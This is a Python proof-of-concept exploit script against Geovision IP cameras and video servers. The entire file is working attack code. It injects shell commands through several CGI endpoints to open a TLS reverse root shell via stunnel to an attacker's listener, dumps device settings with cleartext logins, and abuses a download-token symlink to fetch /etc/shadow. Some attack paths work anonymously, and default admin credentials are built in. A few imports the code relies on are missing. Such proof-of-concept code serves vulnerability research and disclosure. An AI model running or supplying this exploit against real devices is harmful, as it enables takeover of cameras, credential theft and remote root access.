#!/usr/bin/env python2.7 # # [SOF] # # Geovision Inc. IP Camera & Video Server Remote Command Execution PoC # Researcher: bashis (November 2017) # ########################################################################################### # # 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp --ssl'; Verified w/ v7.60] # 2. Dump all settings of remote IPC with Login/Passwd in cleartext # Using: # - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default] # - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old) # - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10 # - CGI: 'JpegStream.cgi' (Anonymous) > v3.10 # 3. GeoToken PoC to login and download /etc/shadow via generated token symlink # # Sample reverse shell: # $ ncat -vlp 1337 --ssl # Ncat: Version 7.60 ( https://nmap.org/ncat ) # Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. # Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603 # Ncat: Listening on :::1337 # Ncat: Listening on 0.0.0.0:1337 # Ncat: Connection from 192.168.57.20. # Ncat: Connection from 192.168.57.20:16945. # /bin/sh: can't access tty; job control turned off # /www # id # id # uid=0(root) gid=0(root) # /www # uname -a # uname -a # Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown # /www # exit # $ ############################################################################################ import sys import socket import urllib, urllib2, httplib import json import hashlib import commentjson # pip install commentjson import xmltodict # pip install xmltodict import select import string import argparse import random import base64 import ssl import json import os import re #from pwn import * def split2len(s, n): def _f(s, n): while s: yield s[:n] s = s[n:] return list(_f(s, n)) # Ignore download of '302 Found/Location' redirections class NoRedirection(urllib2.HTTPErrorProcessor): def http_response(self, request, response): return response https_response = http_response class HTTPconnect: def __init__(self, host, proto, verbose, credentials, Raw, noexploit): self.host = host self.proto = proto self.verbose = verbose self.credentials = credentials self.Raw = Raw self.noexploit = False self.noexploit = noexploit def Send(self, uri, query_headers, query_data, ID): self.uri = uri self.query_headers = query_headers self.query_data = query_data self.ID = ID # Connect-timeout in seconds timeout = 10 socket.setdefaulttimeout(timeout) url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: print "[Verbose] Sending:", url if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): print "[i] Creating SSL Unverified Context" ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1] try: pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) if verbose: http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger) else: opener = urllib2.build_opener(auth_handler,NoRedirection) urllib2.install_opener(opener) except Exception as e: print "[!] Basic Auth Error:",e sys.exit(1) else: # Don't follow redirects! if verbose: http_logger = urllib2.HTTPHandler(debuglevel = 1) opener = urllib2.build_opener(http_logger,NoRedirection) urllib2.install_opener(opener) else: NoRedir = urllib2.build_opener(NoRedirection) urllib2.install_opener(NoRedir) if self.noexploit and not self.verbose: print "[<] 204 Not Sending!" html = "Not sending any data" return html else: if self.query_data: req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers) if self.ID: Cookie = 'CLIENT_ID={}'.format(self.ID) req.add_header('Cookie', Cookie) else: req = urllib2.Request(url, None, headers=self.query_headers) if self.ID: Cookie = 'CLIENT_ID={}'.format(self.ID) req.add_header('Cookie', Cookie) rsp = urllib2.urlopen(req) if rsp: print "[<] {}".format(rsp.code) if self.Raw: return rsp else: html = rsp.read() return html # # Validate correctness of HOST, IP and PORT # class Validate: def __init__(self,verbose): self.verbose = verbose # Check if IP is valid def CheckIP(self,IP): self.IP = IP ip = self.IP.split('.') if len(ip) != 4: return False for tmp in ip: if not tmp.isdigit(): return False i = int(tmp) if i < 0 or i > 255: return False return True # Check if PORT is valid def Port(self,PORT): self.PORT = PORT if int(self.PORT) < 1 or int(self.PORT) > 65535: return False else: return True # Check if HOST is valid def Host(self,HOST): self.HOST = HOST try: # Check valid IP socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP # Now we check if it is correct typed IP if self.CheckIP(self.HOST): return self.HOST else: return False except socket.error as e: # Else check valid DNS name, and use the IP address try: self.HOST = socket.gethostbyname(self.HOST) return self.HOST except socket.error as e: return False class Geovision: def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID): self.rhost = rhost self.proto = proto self.verbose = verbose self.credentials = credentials self.raw_request = raw_request self.noexploit = noexploit self.headers = headers self.SessionID = SessionID def Login(self): try: print "[>] Requesting keys from remote" URI = '/ssi.cgi/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None) response = response.read()[:1500] response = re.split('[()<>?"\n_&;/ ]',response) # print response except Exception as e: print "[!] Can't access remote host... ({})".format(e) sys.exit(1) try: # # Geovision way to have MD5 random Login and Password # CC1 = '' CC2 = '' for check in range(0,len(response)): if response[check] == 'cc1=': CC1 = response[check+1] print "[i] Random key CC1: {}".format(response[check+1]) elif response[check] == 'cc2=': CC2 = response[check+1] print "[i] Random key CC2: {}".format(response[check+1]) """ # # Less interesting to know, but leave it here anyway. # # If the remote server has enabled guest view, these below will not be '0' elif response[check] == 'GuestIdentify': print "[i] GuestIdentify: {}".format(response[check+2]) elif response[check] == 'uid': if response[check+2]: print "[i] uid: {}".format(response[check+2]) else: print "[i] uid: {}".format(response[check+3]) elif response[check] == 'pid': if response[check+2]: print "[i] pid: {}".format(response[check+2]) else: print "[i] pid: {}".format(response[check+3]) """ if not CC1 and not CC2: print "[!] CC1 and CC2 missing!" print "[!] Cannot generate MD5, exiting.." sys.exit(0) # # Geovision MD5 Format # uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper() pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper() # print "[i] User MD5: {}".format(uMD5) # print "[i] Pass MD5: {}".format(pMD5) self.query_args = { "username":"", "password":"", "Apply":"Apply", "umd5":uMD5, "pmd5":pMD5, "browser":1, "is_check_OCX_OK":0 } print "[>] Logging in" URI = '/LoginPC.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) # print response.info() # if we don't get 'Set-Cookie' back from the server, the Login has failed if not (response.info().get('Set-Cookie')): print "[!] Login Failed!" sys.exit(1) if verbose: print "Cookie: {}".format(response.info().get('Set-Cookie')) return response.info().get('Set-Cookie') except Exception as e: print "[i] What happen? ({})".format(e) exit(0) def DeviceInfo(self): try: URI = '/PSIA/System/deviceInfo' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None) deviceinfo = xmltodict.parse(response) print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion']) return True except Exception as e: print "[i] Info about remote target failed ({})".format(e) return False def UserSetting(self,DumpSettings): self.DumpSettings = DumpSettings if self.DumpSettings: print "[i] Dump Config of remote" SH_CMD = '`echo "" >/var/www/tmp/Login.htm`' else: print "[i] Launching TLSv1 privacy reverse shell" self.headers = { 'Connection': 'close', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'User-Agent':'Mozilla', 'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a' } SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;' SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) print "[>] Pwning Usersetting.cgi" self.query_args = { "umd5":SH_CMD, "pmd5":"GEOVISION", "nmd5":"PWNED", "cnt5":"", "username":"", "passwordOld":"", "passwordNew":"", "passwordRetype":"", "btnSubmitAdmin":"1", "submit":"Apply" } try: URI = '/UserSetting.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) if DumpSettings: print "[i] Dumping" URI = '/ssi.cgi/tmp/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID) print response return True except Exception as e: if str(e) == "timed out" or str(e) == "('The read operation timed out',)": print "[!] Enjoy the shell... ({})".format(e) return True def PictureCatch(self,DumpSettings): self.DumpSettings = DumpSettings if self.DumpSettings: print "[i] Dump Config of remote" SH_CMD = '`echo "" >/var/www/tmp/Login.htm`' else: print "[i] Launching TLSv1 privacy reverse shell" self.headers = { 'Connection': 'close', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'User-Agent':'Mozilla', 'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a' } SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;' SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) print "[>] Pwning PictureCatch.cgi" self.query_args = { "username":SH_CMD, "password":"GEOVISION", "attachment":"1", "channel":"1", "secret":"1", "key":"PWNED" } try: URI = '/PictureCatch.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) if DumpSettings: print "[i] Dumping" URI = '/ssi.cgi/tmp/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID) print response return True except Exception as e: if str(e) == "timed out" or str(e) == "('The read operation timed out',)": print "[!] Enjoy the shell... ({})".format(e) return True def JpegStream(self,DumpSettings): self.DumpSettings = DumpSettings if self.DumpSettings: print "[i] Dump Config of remote" SH_CMD = '`echo "" >/var/www/tmp/Login.htm`' else: print "[i] Launching TLSv1 privacy reverse shell" self.headers = { 'Connection': 'close', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'User-Agent':'Mozilla', 'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a' } SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;' SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) print "[>] Pwning JpegStream.cgi" self.query_args = { "username":SH_CMD, "password":"GEOVISION", "attachment":"1", "channel":"1", "secret":"1", "key":"PWNED" } try: URI = '/JpegStream.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) if DumpSettings: print "[i] Dumping" URI = '/ssi.cgi/tmp/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID) print response return True except Exception as e: if str(e) == "timed out" or str(e) == "('The read operation timed out',)": print "[!] Enjoy the shell... ({})".format(e) return True # # Interesting example of bad code and insufficent sanitation of user input. # ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored. # # Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here. # So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug. # # v3.10->3.12 changed how to handle ipfilter # From: # User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash # To: # User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules, # '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add' # with system() call in 'libgeo_net.so' # # Should end up into; # 23835 root 576 S sh -c /usr/local/bin/iptables -A INPUT -s `/usr/loca...[trunkated] # 23836 root 2428 S /usr/local/bin/stunnel /tmp/x # 23837 root 824 S /bin/sh def FilterSetting(self): try: print "[>] Pwning FilterSetting.cgi" # # ';' will be treated by the code as LF # # Let's use some TLSv1 privacy for the reverse shell # SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1' # SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) ShDict = SH_CMD.split(';') MAX_SIZE = 31 # Max Size of the strings to generate LF = 0 LINE = 0 CMD = {} CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`" CMD_DO_LF = "`echo \"TMP\">>/tmp/x`" SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD' # Remove, just in case CMD[LINE] = "`rm -f /tmp/x`" URI = '/FilterSetting.cgi' # # This loop will make the correct aligment of user input # for cmd in range(0,len(ShDict)): CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE) cmd_split = split2len(ShDict[cmd], SIZE) for CMD_LEN in range(0,len(cmd_split)): LINE += 1 LF += 1 if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF): CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN]) else: CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN]) LF = 0 if verbose: print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE]) # Add two more commands to execute stunnel and remove /tmp/x CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop # # Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x # # client=yes # connect=: # exec=/bin/sh # pty=yes # sslVersion=TLSv1 # NEW_IP_FILTER = 1 # > v3.12 CMD_LEN = 0 who = 0 # Clean up to make room, just in case for Remove in range(0,4): print "[>] Cleaning ipfilter entry: {}".format(Remove+1) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", # Remove entry "szIpAddr":"", "byOpId":"0", # 0 = Allow, 1 = Deny "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) while True: if who == len(CMD): break if CMD_LEN < 4: print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who])) self.query_args = { "szIpAddr":CMD[who], # 31 char limit "byOpId":"0", # 0 = Allow, 1 = Deny "dwSelIndex":"0", # Seems not to be in use "Add":"Apply" } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) response = re.split('[()<>?"\n_&;/ ]',response) print response if NEW_IP_FILTER: for cnt in range(0,len(response)): if response[cnt] == 'iptables': NEW_IP_FILTER = 0 print "[i] Remote don't need Enable/Disable" break CMD_LEN += 1 who += 1 time.sleep(2) # Seems to be too fast without # NEW Way elif NEW_IP_FILTER: print "[>] Enabling ipfilter" self.query_args = { "bPolicy":"1", # 1 = Enable, 0 = Disable "szIpAddr":"", "byOpId":"0", # 0 = Allow, 1 = Deny "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) print "[i] Sleeping..." time.sleep(5) print "[>] Disabling ipfilter" self.query_args = { "szIpAddr":"", "byOpId":"0", "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) for Remove in range(0,4): print "[>] Deleting ipfilter Entry: {}".format(Remove+1) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", "szIpAddr":"", "byOpId":"0", "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) CMD_LEN = 0 # OLD Way else: for Remove in range(0,4): print "[>] Deleting ipfilter Entry: {}".format(Remove+1) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", "szIpAddr":"", "byOpId":"0", "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) CMD_LEN = 0 if NEW_IP_FILTER: print "[i] Last sending" print "[>] Enabling ipfilter" self.query_args = { "bPolicy":"1", # 1 = Enable, 0 = Disable "szIpAddr":"", "byOpId":"0", # 0 = Allow, 1 = Deny "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) print "[i] Sleeping..." time.sleep(5) print "[>] Disabling ipfilter" self.query_args = { "szIpAddr":"", "byOpId":"0", "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) for Remove in range(0,4): print "[>] Deleting ipfilter Entry: {}".format(Remove+1) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", "szIpAddr":"", "byOpId":"0", "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) print "[!] Enjoy the shell... " return True except Exception as e: if not NEW_IP_FILTER: print "[i] Last sending" for Remove in range(0,4): print "[>] Deleting ipfilter Entry: {}".format(Remove+1) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", "szIpAddr":"", "byOpId":"0", "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) print "[!] Enjoy the shell... " return True print "[!] Hmm... {}".format(e) print response.read() return True def GeoToken(self): print "[i] GeoToken PoC to login and download /etc/shadow via token symlink" print "[!] You must have valid login and password to generate the symlink" try: ######################################################################################### # This is how to list remote *.wav and *.avi files in /storage. """ print "[>] Requesting token1" URI = '/BKCmdToken.php' response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None) result = json.load(response) if verbose: print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': ')) print "[i] Request OK?: {}".format(result['success']) if not result['success']: sys.exit(1) token1 = result['token'] # # SAMPLE OUTPUT # #{ # "success": true, # "token": "6fe1a7c1f34431acc7eaecba646b7caf" #} # # Generate correct MD5 token2 token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest() query_args = { "token1":token1, "token2":token2 } print "[>] List files" URI = '/BKFileList.php' response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None) result = json.load(response) if verbose: print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': ')) for who in result.keys(): print len(who) # # SAMPLE OUTPUT # #{ # "files": [ # { # "file_size": "2904170", # "filename": "event20171105104946001.avi", # "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05" # }, # {} # ] #} ######################################################################################### """ # Request remote MD5 token1 print "[>] Requesting token1" URI = '/BKCmdToken.php' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None) result = json.load(response) if verbose: print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': ')) print "[i] Request OK?: {}".format(result['success']) if not result['success']: return False token1 = result['token'] # # SAMPLE OUTPUT #{ # "success": true, # "token": "6fe1a7c1f34431acc7eaecba646b7caf" #} # # # Generate correct MD5 token2 # # MD5 Format: :: # token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest() # # symlink this file for us # filename = '/etc/shadow' self.query_args = { "token1":token1, "token2":token2, "filename":filename } print "[>] Requesting download file link" URI = '/BKDownloadLink.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None) response = response.read()#[:900] response = response.replace("'", "\"") result = json.loads(response) print "[i] Request OK?: {}".format(result['success']) if not result['success']: return False if verbose: print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': ')) # # SAMPLE OUTPUT # #{ # "dl_folder": "/tmp", # "dl_token": "C71689493825787.dltoken", # "err_code": 0, # "success": true #} # URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token'] print "[>] downloading ({}) with ({})".format(filename,URI) response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None) response = response.read() print response return True except Exception as e: print "[i] GEO Token fail ({})".format(e) return False if __name__ == '__main__': # # Help, info and pre-defined values # INFO = '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis )]\n' HTTP = "http" HTTPS = "https" proto = HTTP verbose = False noexploit = False raw_request = True rhost = '192.168.57.20' # Default Remote HOST rport = '80' # Default Remote PORT lhost = '192.168.57.1' # Default Local HOST lport = '1337' # Default Local PORT # creds = 'root:pass' credentials = False # # Geovision stuff # SessionID = str(int(random.random() * 100000)) DumpSettings = False deviceinfo = False GEOtoken = False anonymous = False filtersetting = False usersetting = False jpegstream = False picturecatch = False # Geovision default username = 'admin' password = 'admin' # # Try to parse all arguments # try: arg_parser = argparse.ArgumentParser( prog=sys.argv[0], description=('[*] '+ INFO +' [*]')) arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]') arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version') arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken') arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous') arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi') arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi') arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi') arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi') arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config') arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']') arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']') if credentials: arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']') arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') args = arg_parser.parse_args() except Exception as e: print INFO,"\nError: {}\n".format(str(e)) sys.exit(1) print "\n[*]",INFO if args.verbose: verbose = args.verbose # # Check validity, update if needed, of provided options # if args.https: proto = HTTPS if not args.rport: rport = '443' if credentials and args.auth: credentials = args.auth if args.geotoken: GEOtoken = args.geotoken if args.anonymous: anonymous = True if args.deviceinfo: deviceinfo = True if args.dump: DumpSettings = True if args.filtersetting: FilterSetting = True if args.usersetting: usersetting = True if args.jpegstream: jpegstream = True if args.picturecatch: picturecatch = True if args.username: username = args.username if args.password: password = args.password if args.noexploit: noexploit = args.noexploit if args.rport: rport = args.rport if args.rhost: rhost = args.rhost IP = args.rhost if args.lport: lport = args.lport if args.lhost: lhost = args.lhost elif args.autoip: # HTTP check of our external IP try: headers = { 'Connection': 'close', 'Accept' : 'gzip, deflate', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'User-Agent':'Mozilla' } print "[>] Trying to find out my external IP" lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None) if verbose: print "[Verbose] Detected my external IP:",lhost except Exception as e: print "[<] ",e sys.exit(1) # Check if RPORT is valid if not Validate(verbose).Port(rport): print "[!] Invalid RPORT - Choose between 1 and 65535" sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: print "[!] Invalid RHOST" sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: print "[!] Invalid LHOST" sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: print "[!] Invalid RHOST" sys.exit(1) # # Validation done, start print out stuff to the user # if args.https: print "[i] HTTPS / SSL Mode Selected" print "[i] Remote target IP:",rhost print "[i] Remote target PORT:",rport if not args.geotoken and not args.dump and not args.deviceinfo: print "[i] Connect back IP:",lhost print "[i] Connect back PORT:",lport rhost = rhost + ':' + rport headers = { 'Connection': 'close', 'Content-Type' : 'application/x-www-form-urlencoded', 'Accept' : 'gzip, deflate', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'User-Agent':'Mozilla' } # Print Model and Firmware version Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo() if deviceinfo: sys.exit(0) # Geovision token login within the function # if GEOtoken: Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo() if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken(): print "[!] Failed" sys.exit(1) else: sys.exit(0) if anonymous: if jpegstream: if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings): print "[!] Failed" sys.exit(0) elif picturecatch: if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings): print "[!] Failed" sys.exit(0) else: print "[!] Needed: --anonymous [--picturecatch | --jpegstream]" sys.exit(1) else: # # Geovision Login needed # if usersetting: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings): print "[!] Failed" sys.exit(0) elif filtersetting: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting(): print "[!] Failed" sys.exit(0) elif jpegstream: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings): print "[!] Failed" sys.exit(0) elif picturecatch: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings): print "[!] Failed" sys.exit(0) else: print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting" sys.exit(1) sys.exit(0) # # [EOF] #